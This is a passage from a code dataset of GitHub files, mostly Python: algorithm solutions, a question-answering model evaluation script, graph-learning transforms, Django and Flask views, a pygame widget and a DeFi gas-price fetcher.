int(input().rstrip())\n\ninorder = list(map(int,input().rstrip().split()))\npostorder = list(map(int,input().rstrip().split()))\n\nindex_list = [None for _ in range(n+1)]\n\nfor i in range(n):\n index_list[postorder[i]] = i\n\nqueue = []\nheapq.heappush(queue,[-1,inorder])\n\nwhile queue:\n i, now_list = heapq.heappop(queue)\n\n now_root = postorder[max([index_list[i] for i in now_list])]\n print(now_root,end = ' ')\n root_index = now_list.index(now_root)\n if root_index != 0:\n heapq.heappush(queue,[i*2,now_list[:root_index]])\n if root_index != n-1:\n heapq.heappush(queue,[i*2+1,now_list[root_index+1:]])\n","repo_name":"JiyoungMa/Algorithm","sub_path":"백준/2263 트리의 순회(푸는중).py","file_name":"2263 트리의 순회(푸는중).py","file_ext":"py","file_size_in_byte":684,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"22417518812","text":"#Display element of tuple\n\nt=(9,8,7,6,5,4)\nfor i in t:\n print(i)\n\n\nt2=(1,2,3,4,5,6)\nfor i in range(len(t2)):\n print(t2[i])","repo_name":"Manjitkumarsahoo/python","sub_path":"257.py","file_name":"257.py","file_ext":"py","file_size_in_byte":128,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"10374483135","text":"import sys\r\nfrom collections import deque, defaultdict\r\ninput = sys.stdin.readline\r\n\r\nn, k = map(int, input().split())\r\ngraph = defaultdict(list)\r\ninDegree = [0 for _ in range(n+1)]\r\nfor _ in range(k):\r\n a, b = map(int, input().split())\r\n graph[a].append(b)\r\n inDegree[b] += 1\r\n\r\nq = deque()\r\nfor i in range(1, n+1):\r\n if inDegree[i] == 0:\r\n q.append(i)\r\n\r\nmoved = [set() for _ in range(n+1)]\r\nwhile q:\r\n cur = q.popleft()\r\n for v in graph[cur]:\r\n inDegree[v] -= 1\r\n moved[v].add(cur)\r\n moved[v] |= moved[cur]\r\n if inDegree[v] == 0:\r\n q.append(v)\r\n\r\ns = int(input())\r\nfor _ in range(s):\r\n a, b = map(int, input().split())\r\n if a in moved[b] and b not in moved[a]:\r\n print(-1)\r\n elif b in moved[a] and a not in moved[b]:\r\n print(1)\r\n else:\r\n print(0)\r\n\r\n'''\r\n-1: b에는 a가 있고, a에는 b가 없다\r\n1: a에는 b가 있고, b에는 a가 없다\r\n0: 그 외\r\n'''\r\n","repo_name":"yejin7211/Algorithm","sub_path":"백준/Gold/1613. 역사/역사.py","file_name":"역사.py","file_ext":"py","file_size_in_byte":963,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"2787564005","text":"import torch\nimport torch.utils.data as tud\nimport json\nimport os\nimport argparse\nfrom transformers import ElectraTokenizerFast\nfrom model import utils\nfrom model.dataset import QuestionAnsweringDataset, QuestionAnsweringDatasetConfiguration, my_collate_fn\nfrom model.baseline import BaselineModel\nfrom model.intensive_reading_ca import IntensiveReadingWithCrossAttention\nfrom model.intensive_reading_ma import IntensiveReadingWithMatchAttention\nfrom model.intensive_reading_cnn import IntensiveReadingWithConvolutionNet\nfrom functools import partial\n\n\ndef test_multi_task_learner(valid_iterator, model, device, tokenizer):\n question_answer_dict = dict()\n model.eval()\n with torch.no_grad():\n for data in valid_iterator:\n batch_encoding, _, _, _, question_id = data\n cls_out, start_logits, end_logits = model(batch_encoding['input_ids'].to(device),\n attention_mask=batch_encoding['attention_mask'].to(device),\n token_type_ids=batch_encoding['token_type_ids'].to(device),\n )\n cls_out = torch.argmax(cls_out, dim=-1) # batch_size\n start_pos = torch.argmax(start_logits, dim=-1) # batch_size\n end_pos = torch.argmax(end_logits, dim=-1) # batch_size\n for i, cls in enumerate(cls_out):\n if cls.item() == 0: # answerable\n start = start_pos[i].item()\n end = end_pos[i].item()\n answer = tokenizer.decode(batch_encoding['input_ids'][i][start: end])\n question_answer_dict[question_id[i]] = answer\n else:\n question_answer_dict[question_id[i]] = ''\n with open(os.path.join(os.path.curdir, 'eval.json'), 'w') as file:\n json.dump(question_answer_dict, file)\n\n\ndef test_multi_task_learner_2(valid_iterator, model, device, tokenizer):\n question_answer_dict = dict()\n model.eval()\n with torch.no_grad():\n for data in valid_iterator:\n batch_encoding, _, _, _, question_id = data\n max_con_len, max_qus_len = utils.find_max_qus_con_length(attention_mask=batch_encoding['attention_mask'],\n token_type_ids=batch_encoding['token_type_ids'],\n max_length=batch_encoding['input_ids'].size(1),\n )\n cls_out, start_logits, end_logits = model(batch_encoding['input_ids'].to(device),\n attention_mask=batch_encoding['attention_mask'].to(device),\n token_type_ids=batch_encoding['token_type_ids'].to(device),\n pad_idx=tokenizer.pad_token_id,\n max_qus_length=max_qus_len,\n max_con_length=max_con_len,\n )\n cls_out = torch.argmax(cls_out, dim=-1) # batch_size\n start_pos = torch.argmax(start_logits, dim=-1) # batch_size\n end_pos = torch.argmax(end_logits, dim=-1) # batch_size\n for i, cls in enumerate(cls_out):\n if cls.item() == 0: # answerable\n start = start_pos[i].item()\n end = end_pos[i].item()\n answer = tokenizer.decode(batch_encoding['input_ids'][i][start + 1: end + 1])\n question_answer_dict[question_id[i]] = answer\n else:\n question_answer_dict[question_id[i]] = ''\n with open(os.path.join(os.path.curdir, 'eval.json'), 'w') as file:\n json.dump(question_answer_dict, file)\n\n\ndef test_separate_learner(valid_iterator, sketch_model, intensive_model, device, tokenizer):\n question_answer_dict = dict()\n sketch_model.eval()\n with torch.no_grad():\n for data in valid_iterator:\n batch_encoding, _, _, _, question_id = data\n cls_out = sketch_model(batch_encoding['input_ids'].to(device),\n attention_mask=batch_encoding['attention_mask'].to(device),\n token_type_ids=batch_encoding['token_type_ids'].to(device),\n )\n cls_out = torch.argmax(cls_out, dim=-1) # batch_size\n for i, cls in enumerate(cls_out):\n if cls.item() == 0: # answerable\n max_con_len, max_qus_len = utils.find_max_qus_con_length(\n attention_mask=batch_encoding['attention_mask'],\n token_type_ids=batch_encoding['token_type_ids'],\n max_length=batch_encoding['input_ids'].size(1),\n )\n start_logits, end_logits = intensive_model(batch_encoding['input_ids'].to(device),\n batch_encoding['attention_mask'].to(device),\n batch_encoding['token_type_ids'].to(device),\n pad_idx=tokenizer.pad_idx,\n max_qus_length=max_qus_len,\n max_con_length=max_con_len,\n )\n start = start_logits[i].item()\n end = end_logits[i].item()\n answer = tokenizer.decode(batch_encoding['input_ids'][i][start + 1: end + 1])\n question_answer_dict[question_id[i]] = answer\n else:\n question_answer_dict[question_id[i]] = ''\n with open(os.path.join(os.path.curdir, 'eval.json'), 'w') as file:\n json.dump(question_answer_dict, file)\n\n\ndef test_retro_reader_learner(valid_iterator, model, device, tokenizer, threshold=5.):\n question_answer_dict = dict()\n model.eval()\n\n correct_count = 0.\n total_count = 0.\n with torch.no_grad():\n for data in valid_iterator:\n batch_encoding, is_impossibles, _, _, question_id = data\n max_con_len, max_qus_len = utils.find_max_qus_con_length(attention_mask=batch_encoding['attention_mask'],\n token_type_ids=batch_encoding['token_type_ids'],\n max_length=batch_encoding['input_ids'].size(1),\n )\n cls_out, start_logits, end_logits = model(batch_encoding['input_ids'].to(device),\n attention_mask=batch_encoding['attention_mask'].to(device),\n token_type_ids=batch_encoding['token_type_ids'].to(device),\n pad_idx=tokenizer.pad_token_id,\n max_qus_length=max_qus_len,\n max_con_length=max_con_len,\n )\n score_has = torch.max(start_logits, dim=-1)[0] + torch.max(end_logits, dim=-1)[0]\n score_null = start_logits[:, 0] + end_logits[:, 0]\n # if larger, means more likely to be unanswerable\n score_diff = score_null - score_has\n score_ext = torch.logit(cls_out[:, 1]) - torch.logit(cls_out[:, 0])\n\n start_logits = torch.argmax(start_logits, dim=-1) # batch_size\n end_logits = torch.argmax(end_logits, dim=-1) # batch_size\n score = score_diff + score_ext # batch_size\n # print(score)\n # print(is_impossibles.argmax(dim=-1))\n\n for i, start in enumerate(start_logits):\n if score[i] < threshold: # answerable\n end = end_logits[i].item()\n answer = tokenizer.decode(batch_encoding['input_ids'][i][start + 1: end + 1])\n question_answer_dict[question_id[i]] = answer\n total_count += 1\n if is_impossibles[i][0].item() == 1:\n correct_count += 1\n else:\n question_answer_dict[question_id[i]] = ''\n total_count += 1\n if is_impossibles[i][1].item() == 1:\n correct_count += 1\n with open(os.path.join(os.path.curdir, 'eval.json'), 'w') as file:\n json.dump(question_answer_dict, file)\n\n return correct_count / total_count\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('-c', '--config', type=str, help='which config')\n args = parser.parse_args()\n config = args.config\n\n CONFIG = ['cross-attention', 'match-attention', 'cnn-span', 'baseline', 'cnn-span-large', 'cross-attention-large']\n assert config in CONFIG, 'Given config wrong'\n\n device = torch.cuda.current_device() if torch.cuda.is_available() else torch.device('cpu')\n if config == 'cnn-span-large' or config == 'cross-attention-large':\n tokenizer = ElectraTokenizerFast.from_pretrained('google/electra-base-discriminator')\n else:\n tokenizer = ElectraTokenizerFast.from_pretrained('google/electra-small-discriminator')\n\n config_valid = QuestionAnsweringDatasetConfiguration(squad_dev=True)\n dataset_valid = QuestionAnsweringDataset(config_valid, tokenizer=tokenizer)\n dataloader_valid = tud.DataLoader(dataset=dataset_valid, batch_size=4, shuffle=False, drop_last=False,\n collate_fn=partial(my_collate_fn, tokenizer=tokenizer))\n\n if config == 'cross-attention':\n retro_reader_model = IntensiveReadingWithCrossAttention()\n ts = -1. # normal: -4 / lr: -1 / dwa: -1\n elif config == 'match-attention':\n retro_reader_model = IntensiveReadingWithMatchAttention()\n ts = -1. # normal: -4 / dwa: -1\n elif config == 'cnn-span':\n retro_reader_model = IntensiveReadingWithConvolutionNet(out_channel=100, filter_size=3)\n ts = -1.\n # 8 channels: -4 / 16 channels: -1 / 48 channels: -1 (DWA -4)\n # 100 channels: -1 (DWA -1)\n elif config == 'baseline':\n retro_reader_model = BaselineModel()\n ts = -1.\n elif config == 'baseline-large':\n retro_reader_model = BaselineModel(hidden_dim=768, clm_model='google/electra-base-discriminator')\n elif config == 'cnn-span-large':\n retro_reader_model = IntensiveReadingWithConvolutionNet(out_channel=100, filter_size=3, hidden_dim=768,\n clm_model='google/electra-base-discriminator')\n ts = -4.\n elif config == 'cross-attention-large':\n retro_reader_model = IntensiveReadingWithCrossAttention(hidden_dim=768,\n clm_model='google/electra-base-discriminator')\n ts = -4.\n else:\n raise Exception('Wrong config error')\n\n retro_reader_model.load_state_dict(torch.load(os.path.join('..', 'single_gpu_model.pth')))\n retro_reader_model.to(device)\n if config == 'baseline' or config == 'baseline-large':\n cls_acc = test_multi_task_learner(iter(dataloader_valid), retro_reader_model, device, tokenizer)\n else:\n cls_acc = test_retro_reader_learner(iter(dataloader_valid), retro_reader_model, device, tokenizer, threshold=ts)\n #cls_acc = test_multi_task_learner_2(iter(dataloader_valid), retro_reader_model, device, tokenizer)\n print(\"CLS accuracy: {}\".format(cls_acc))\n","repo_name":"RickyDoge/English-Question-Answering-System","sub_path":"evaluate/evaluate.py","file_name":"evaluate.py","file_ext":"py","file_size_in_byte":12024,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"12324983219","text":"import torch_geometric.transforms as T\nimport torch\nfrom torch_geometric.utils import negative_sampling\n\nclass RandomFeatureMatrix(T.BaseTransform):\n def __init__(self, feature_dim, mean, std):\n self.feature_dim = feature_dim\n self.mean = mean\n self.std = std\n\n def __call__(self, data):\n x = torch.normal(\n mean=self.mean,\n std=self.std,\n size=(data.num_nodes, self.feature_dim)\n )\n data['x'] = x\n\n return data\n\n def __repr__(self):\n return f'{self.__class__.__name__}({self.feature_dim})'\n\n\nclass OneHotFeatureMatrix(T.BaseTransform):\n def __init__(self, max_num_nodes):\n self.max_num_nodes = max_num_nodes\n\n def __call__(self, data):\n x = torch.zeros(data.num_nodes, self.max_num_nodes)\n x[:, :data.num_nodes] = torch.eye(data.num_nodes)\n\n data['x'] = x\n\n return data\n\n def __repr__(self):\n return f'{self.__class__.__name__}({self.feature_dim})'\n\n\n# class EdgeLabelCreator(T.RandomLinkSplit):\n# def __init__(self, is_undirected):\n# super().__init__(0.0, 0.0, is_undirected=is_undirected)\n\n# def __call__(self, data):\n# return super().__call__(data)[0]\n\n# def __repr__(self):\n# return f'{self.__class__.__name__}({self.is_undirected})'\n\n\nclass EdgeLabelCreator(T.BaseTransform):\n def __init__(self, is_undirected):\n self.is_undirected = is_undirected\n\n def __call__(self, data):\n neg_edge_index = negative_sampling(\n edge_index=data.edge_index,\n num_nodes=data.num_nodes,\n force_undirected=self.is_undirected\n )\n\n perm = torch.randperm(data.edge_index.shape[1])\n edge_index = data.edge_index[:, perm]\n\n data['edge_label'] = torch.cat([\n torch.ones(edge_index.shape[1]),\n torch.zeros(neg_edge_index.shape[1])\n ])\n\n data['edge_label_index'] = torch.cat([\n edge_index,\n neg_edge_index], dim=1\n )\n\n return data\n\n def __repr__(self):\n return f'{self.__class__.__name__}({self.is_undirected})'\n\n\nclass FullEdgeLabelCreator(T.BaseTransform):\n def __init__(self):\n pass\n\n def __call__(self, data):\n adj = torch.zeros(data.num_nodes, data.num_nodes)\n adj[data.edge_index[0], data.edge_index[1]] = 1\n\n data['edge_label'] = adj.ravel()\n\n n_arange = torch.arange(data.num_nodes)\n grid_x, grid_y = torch.meshgrid(n_arange, n_arange)\n grid_x, grid_y = grid_x.ravel(), grid_y.ravel()\n\n data['edge_label_index'] = torch.stack([grid_x, grid_y])\n\n return data\n\n def __repr__(self):\n return f'{self.__class__.__name__}'\n","repo_name":"Blinkop/Graph-generation","sub_path":"latent/transforms.py","file_name":"transforms.py","file_ext":"py","file_size_in_byte":2731,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"28137489160","text":"from django.shortcuts import render\nfrom adminpage.models import TambahPengumuman\n\n# Create your views here.\ndef index(request):\n databiasa = TambahPengumuman.objects.filter(kategori='bs').order_by('-dibuat')\n datapenting = TambahPengumuman.objects.filter(kategori='sp').order_by('-dibuat')\n context = {\n 'databiasa' : databiasa,\n 'datapenting' : datapenting,\n }\n return render(request,'pengumuman/index.html',context)\n\ndef detailpost(request,slugInput):\n pengumuman = TambahPengumuman.objects.get(slug=slugInput)\n context = {\n 'pengumuman' : pengumuman,\n }\n return render (request,'pengumuman/detail.html',context)\n","repo_name":"brilianpmw/citizen-infomartion-system-with-django-1.11-LTS","sub_path":"pengumuman/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":670,"program_lang":"python","lang":"id","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"22542079341","text":"from __future__ import annotations\nfrom typing import List\nfrom typing import Optional\nimport numpy as np\n\n\nclass KeyPoint:\n def __init__(self, index: int, x: float, y: float, features):\n self.index = index\n self.x = x\n self.y = y\n self.features = features\n self.closest: Optional[KeyPoint] = None\n self.neighbours: List[KeyPoint] = []\n self.distance = -1\n\n def abs_distance(self, other: KeyPoint):\n return np.sum(np.abs(self.features - other.features))\n\n def get_closest(self, key_points: List[KeyPoint]):\n best_dist = float('inf')\n closest = None\n for keyPoint in key_points:\n distance = self.abs_distance(keyPoint)\n if distance < best_dist:\n best_dist = distance\n closest = keyPoint\n return closest\n\n def square_distance(self, other_key_point: KeyPoint) -> float:\n return (self.x - other_key_point.x) ** 2 + (self.y - other_key_point.y) ** 2\n\n def euclidean_distance(self, other_x: float, other_y: float):\n return np.sqrt((self.x - other_x) ** 2 + (self.y - other_y) ** 2)\n\n def calculate_neighbours(self, neighbourhood_size: int, all_key_points: List[KeyPoint]):\n for key_point in all_key_points:\n key_point.distance = key_point.square_distance(self)\n\n all_key_points.sort(key=lambda point: point.distance)\n found_neighbours = 0\n for key_point in all_key_points:\n if key_point.distance > 0:\n self.neighbours.append(key_point)\n found_neighbours += 1\n if found_neighbours >= neighbourhood_size:\n break\n\n def has_neighbour(self, key_point: KeyPoint):\n return key_point in self.neighbours\n\n @staticmethod\n def from_string(key_point_index: int, text: str) -> KeyPoint:\n data = text.split()\n x = float(data[0])\n y = float(data[1])\n params = np.asarray(data[5:], dtype=np.int32)\n return KeyPoint(key_point_index, x, y, params)\n","repo_name":"JoannaKowal/SI4","sub_path":"src/keypoint.py","file_name":"keypoint.py","file_ext":"py","file_size_in_byte":2057,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"3929205303","text":"import os\nimport glob\nimport pandas as pd\nimport dask.dataframe as dd\nimport pathlib\nfrom datetime import datetime, timedelta\n\n\ndef read_data(dir_name, usecols, dtype, raw_data=True, date_range=None):\n \"\"\"\n Return a dataframe with concatenated data.\n Set timestamp as index.\n\n Parameters:\n dir_name (str): directory name\n usecols (list-like): selected columns\n dtype (dict): data type for columns\n raw_data (bool): if True, combine date and time columns,\n and set sep to r'\\s+', otherwise ',', default is True\n date_range (list of str): list with initial and final date 'yyyy/mm/dd'\n \"\"\"\n filenames = [filename for filename in glob.iglob(dir_name + '**/*.dat', recursive=True)]\n filenames.sort()\n if date_range:\n idx0 = filenames.index([x for x in filenames if date_range[0] in x][0])\n if idx0 != 0:\n idx0 -= 1\n idx1 = filenames.index([x for x in filenames if date_range[-1] in x][-1]) + 1\n filenames = filenames[idx0:idx1]\n if raw_data:\n sep = r'\\s+'\n else:\n sep = ','\n df = dd.read_csv(filenames,\n sep=sep,\n usecols=usecols,\n dtype=dtype)\n df = df.compute()\n if raw_data:\n df['DATE_TIME'] = pd.to_datetime(df['DATE'] + ' ' + df['TIME'])\n df = df.drop(['DATE', 'TIME'], axis=1)\n df = df.set_index('DATE_TIME')\n\n if date_range:\n return df.loc[(df.index >= date_range[0]) &\n (df.index < datetime.strptime(date_range[-1], \"%Y/%m/%d\") + timedelta(days=1))]\n else:\n return df\n\n\ndef save_24h(df, path, file_id, level):\n \"\"\"\n Save 24-hour files\n\n Parameters:\n df (pandas DataFrame): dataframe\n path (str): path to save output files\n file_id (str): analyzer serial number\n level (str): data processing level\n \"\"\"\n for day in df.index.dayofyear.unique():\n df_24h = df[(df.index.dayofyear == day)]\n year = str(df_24h.index[0].strftime('%Y'))\n month = str(df_24h.index[0].strftime('%m'))\n full_path = path + '/' + year + '/' + month\n pathlib.Path(full_path).mkdir(parents=True, exist_ok=True)\n file_name = full_path + \\\n '/' + file_id + '-' + \\\n df_24h.index[0].strftime('%Y%m%d') + \\\n 'Z-DataLog_User_' + level + '.csv'\n df_24h.to_csv(file_name)\n\n\ndef resample_data(df, t, my_cols):\n \"\"\"\n Returns a dataframe with resampled data [mean, std, count].\n\n Parameters:\n df (pandas DataFrame): dataframe\n t ('T', 'H', 'D') : minute, hour or day\n my_cols (list-like): selected columns\n \"\"\"\n df_mean = df[my_cols].resample(t).mean()\n df_std = df[my_cols].resample(t).std()\n df_count = df[my_cols].resample(t).count()\n return df_mean.join(df_std, rsuffix='_std').join(df_count, rsuffix='_count')\n\n\ndef gantt_data(path, var, pos):\n \"\"\"\n Returns a dataframe with data availability info.\n\n Parameters:\n path (str): file name\n var (str): selected variable\n pos (int): position in the graph (from bottom to top)\n \"\"\"\n df = pd.read_csv(path)\n df = df.set_index('DATE_TIME')\n df.index = pd.to_datetime(df.index)\n df['avail'] = df[var].isnull() # look for null values\n df['avail'] = df['avail'].map({False: pos}) # poputlate with graph position\n return df\n","repo_name":"marcia-marques/PyCRDS","sub_path":"src/pycrds/datafile.py","file_name":"datafile.py","file_ext":"py","file_size_in_byte":3404,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"30370748598","text":"from flask import Flask, request\n\n\napp = Flask(__name__)\n\n\n@app.route('/bring_elevator', methods=['POST'])\ndef bring_elevator():\n \"\"\"A person requests an elevator be sent to their current floor\n\n Request JSON payload\n {\n \"floor\": integer // Floor number where the car should pick person.\n }\n \n Response JSON payload\n {\n \"command\": \"go_to_floor\",\n \"floor\": integer // Floor number where the car should pick person.\n }\n \"\"\"\n\n floor = get_floor_from_request()\n res = {\n \"command\": \"bring_elevator\",\n \"floor\": floor,\n }\n return res\n\n\n@app.route('/go_to_floor', methods=['POST'])\ndef go_to_floor():\n \"\"\"A person requests that they be brought to a floor\n\n Request JSON payload\n {\n \"floor\": integer // Floor number where the car should go with person.\n }\n \n Response JSON payload\n {\n \"command\": \"go_to_floor\",\n \"floor\": integer // Floor number where the car should go with person.\n }\n \"\"\"\n\n floor = get_floor_from_request()\n res = {\n \"command\": \"go_to_floor\",\n \"floor\": floor,\n }\n return res\n\n\n@app.route('/get_all_servicing_floors', methods=['GET'])\ndef get_servicing_floors():\n \"\"\"An elevator car requests all floors that its current passengers are servicing (e.g. to light up the buttons that show which floors the car is going to)\n \n Request doesn't expect parameters.\n\n Response JSON payload\n {\n \"command\": \"get_all_servicing_floors\",\n \"floor_list\": list_of_integers // List of integers containing the servicing floor numbers.\n }\n \"\"\"\n\n res = {\n \"command\": \"get_all_servicing_floors\",\n \"servicing_floors\": [3, 6, 10],\n }\n return res\n\n\n@app.route('/get_next_servicing_floor', methods=['GET'])\ndef get_next_servicing_floor():\n \"\"\"An elevator car requests the next floor it needs to service\n \n Request doesn't expect parameters.\n \n Response JSON payload\n {\n \"command\": \"get_next_servicing_floor\",\n \"floor\": integer // Next servicing floor number integer value.\n }\n \"\"\"\n\n res = {\n \"command\": \"get_next_servicing_floor\",\n \"floor\": 3,\n }\n return res\n\n\n# Helper methods\n\ndef throw_if_parameter_not_found(jsn, parameter_name: str):\n if parameter_name not in jsn:\n raise Exception(f'Invalid parameters: \"{parameter_name}\" not found')\n\n\ndef throw_if_parameter_was_none(parameter: object, parameter_name: str):\n if parameter is None:\n raise Exception(f'Invalid parameter value: \"{parameter_name}\" was None')\n\n\ndef throw_if_invalid_parameter_type(parameter: object, parameter_name: str, parameter_type: object):\n if not isinstance(parameter, parameter_type):\n raise Exception(f'Invalid parameter type: \"{parameter_name}\" was not {parameter_type}')\n\n\ndef get_floor_from_request():\n jsn = request.get_json()\n throw_if_parameter_not_found(jsn, 'floor')\n floor = jsn['floor']\n throw_if_parameter_was_none(floor, 'floor')\n throw_if_invalid_parameter_type(floor, 'floor', int)\n return floor\n\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=8080, debug=True)\n","repo_name":"wlagraba/api_prototype","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3291,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"31979220734","text":"import uuid\nfrom datetime import timedelta, datetime\n\nfrom taranis.abstract import DomainEvent\n\nfrom mobi_logic import get_repository\nfrom mobi_logic.aggregations.organization.domain.entities.question import Question\nfrom mobi_logic.aggregations.organization.domain.entities.survey_time import SurveyTime\nfrom mobi_logic.aggregations.organization.exceptions.errors import QuestionNotFound\n\n\nclass Survey:\n\n class STATUS:\n NEW = 'new'\n DELETED = 'deleted'\n STARTED = 'started'\n\n @property\n def survey_repository(self):\n return get_repository('QuestionRepository')\n\n class Created(DomainEvent):\n type = \"Survey.Created\"\n\n def create_question(self, name, type):\n QuestionRepository = get_repository('QuestionRepository')\n\n question = Question()\n\n question.id=str(uuid.uuid4())\n question.ids = None\n question.survey_id = self.id\n question.unit_id = self.unit_id\n question.name=name\n question.type = type\n question.status = Question.STATUS.NEW\n\n QuestionRepository.save(question)\n\n return question\n\n def add_time(self, time):\n SurveyTimeRepository = get_repository('SurveyTimeRepository')\n surveyTime = SurveyTime()\n surveyTime.id = str(uuid.uuid4())\n surveyTime.time = time\n surveyTime.survey_id = self.id\n\n SurveyTimeRepository.save(surveyTime)\n\n def get_question(self, question_id, deleted=False):\n for question in self.questions:\n if question.id == question_id:\n if not deleted and question.status != Question.STATUS.DELETED:\n return question\n raise QuestionNotFound\n raise QuestionNotFound\n\n def remove_question(self, question_id):\n for question in self.questions:\n if question.id == question_id:\n question.status = Question.STATUS.DELETED\n self.survey_repository.save(question)\n break\n\n # @TODO throw exception on missing survey\n\n def get_responses(self, code):\n ResearchGroupRepository = get_repository('ResearchGroupRepository')\n RegistrationsRepository = get_repository('RegistrationsRepository')\n ResponseRepository = get_repository('ResponseRepository')\n RespondentRepository = get_repository('RespondentRepository')\n SurveyRepository = get_repository('SurveyRepository')\n\n t = self.startdate\n one_day = timedelta(days=1)\n l = []\n\n research_group = ResearchGroupRepository.get_by_code(code)\n registrations = RegistrationsRepository.get_by_research_group_id(research_group.id)\n\n for registration in registrations:\n respondent = RespondentRepository.get_by_ids(registration.respondent_ids)\n\n t = self.startdate\n\n while t < self.enddate:\n for time in self.times:\n start_date = datetime(year=t.year, month=t.month, day=t.day, hour=time.time.hour, minute=time.time.minute)\n d = {'date': start_date, 'user-id': respondent.id}\n for question in self.questions:\n for answer in question.answers:\n if start_date <= answer.date < start_date + timedelta(\n seconds=self.questiondelta) and answer.user_id == respondent.id:\n if question.id in d:\n d[question.id] += \":\" + ResponseRepository.get_by_id(answer.response_id).value\n else:\n d[question.id] = ResponseRepository.get_by_id(answer.response_id).value\n for answer in question.answers_text:\n if start_date <= answer.date < start_date + timedelta(\n seconds=self.questiondelta) and answer.user_id == respondent.id:\n d[question.id] = answer.text\n\n\n l.append(d)\n t += one_day\n\n return l\n\n\n def update_values(self, data):\n SurveyRepository = get_repository('SurveyRepository')\n\n if data.get('status') and data['status'] == Survey.STATUS.STARTED:\n self.status = data['status']\n\n if data.get('startdate'):\n self.startdate = datetime(year=data.get('startdate').year, month=data.get('startdate').month, day=data.get('startdate').day)\n\n if data.get('enddate'):\n self.enddate = datetime(year=data.get('enddate').year, month=data.get('enddate').month, day=data.get('enddate').day) + \\\n timedelta(hours=23, minutes=59)\n\n if data.get('description'):\n self.description = data['description']\n\n if data.get('name'):\n self.name = data['name']\n\n if data.get('questiondelta'):\n self.questiondelta = data['questiondelta']\n\n SurveyRepository.save(self)\n","repo_name":"mmasztalerczuk/fillitapp_logic","sub_path":"mobi_logic/aggregations/organization/domain/entities/survey.py","file_name":"survey.py","file_ext":"py","file_size_in_byte":5006,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"7203026758","text":"import pygame\nfrom .element import Element\n\npygame.init()\n\n\nclass Label(Element):\n def __init__(self,\n pos: tuple[int, int] = None,\n c_pos: tuple[int, int] = None,\n text: str = \"\",\n text_size: int = 15,\n text_font:str = \"segoeui\",\n text_style: str = \"\",\n color: tuple[int, int, int] = (0, 0, 0),\n tilt: int = 0,\n parent=None,\n anchor: str = \"\",\n c_anchor: str = \"\",\n offset: (tuple[int, int], int) = None,\n visible: bool = True):\n \n text_style = text_style.split()\n font = pygame.font.SysFont(text_font, text_size)\n if \"bold\" in text_style:\n font.set_bold(True)\n if \"italic\" in text_style:\n font.set_italic(True)\n if \"underline\" in text_style:\n font.set_underline(True)\n self._font = font\n self._tilt = tilt\n self._color = color\n texture = self._font.render(text, True, self._color)\n texture = pygame.transform.rotate(texture, self._tilt)\n texture.convert_alpha()\n size = (texture.get_width(), texture.get_height())\n\n super().__init__(pos, c_pos, size, None, texture, parent, anchor, c_anchor, offset, visible)\n\n def change_text(self, newtxt):\n texture = self._font.render(newtxt, True, self._color)\n texture = pygame.transform.rotate(texture, self._tilt)\n self._texture = texture\n self._size = (texture.get_width(), texture.get_height())\n","repo_name":"TheSilvered/GMTKGameJam2021","sub_path":"gameassets/label.py","file_name":"label.py","file_ext":"py","file_size_in_byte":1482,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"21075671662","text":"import asyncio\nimport json\nimport logging\nfrom datetime import datetime\nfrom enum import Enum\n\nimport aioredis\nimport httpx\nfrom pycoingecko import CoinGeckoAPI\n\nfrom defi.pools import get_pools\nfrom settings.env import env\n\nlogger = logging.getLogger(__name__)\n\nredis = aioredis.from_url(\n env.redis_dsn,\n encoding=\"utf-8\",\n decode_responses=True,\n)\n\ncg = CoinGeckoAPI()\n\n\nclass CoinGeckoTokens(str, Enum):\n ETH = 'ethereum'\n WETH = 'weth'\n WBTC = 'wrapped-bitcoin'\n DAI = 'dai'\n USDT = 'tether'\n USDC = 'usd-coin'\n MATIC = 'matic-network'\n BNB = 'binancecoin'\n\n @classmethod\n def values_list(cls):\n return [e.value for e in cls]\n\n\nclass OwlracleGasPaths(str, Enum):\n bsc: str = f'https://api.owlracle.info/v3/bsc/gas?accept=90&apikey={env.owlracle_api_key}'\n ethereum: str = f'https://api.owlracle.info/v3/eth/gas?accept=90&apikey={env.owlracle_api_key}'\n polygon: str = f'https://api.owlracle.info/v3/poly/gas?accept=90&apikey={env.owlracle_api_key}'\n\n @classmethod\n def names(cls):\n return [item.name for item in cls]\n\n\nasync def get_estimated_fee(url, gas_quotes):\n async with httpx.AsyncClient() as client:\n try:\n response = await client.get(url)\n for item in gas_quotes:\n if url.split('/')[-2] == 'bsc' and item['chain'] == 'bsc':\n return {\n 'gwei': response.json()['speeds'][0]['gasPrice'],\n 'tokenPrice': item['value'],\n 'dateUpdated': datetime.now().isoformat(),\n }\n elif url.split('/')[-2] == item['chain']:\n return {\n 'gwei': response.json()['speeds'][0]['baseFee'],\n 'tokenPrice': item['value'],\n 'dateUpdated': datetime.now().isoformat(),\n }\n except (KeyError, httpx.NetworkError, httpx.HTTPError) as e:\n logger.error(f'Failed to get gas ({url}): {e}')\n return None\n\n\nasync def get_gas() -> None:\n gas_quotes = await collect_quotes_for_gas_coingecko()\n tasks = [asyncio.create_task(get_estimated_fee(path.value, gas_quotes)) for path in OwlracleGasPaths]\n estimated_fee_results = await asyncio.gather(*tasks)\n new_gas = dict(zip(OwlracleGasPaths.names(), estimated_fee_results))\n old_gas = await redis.get('gas')\n\n if 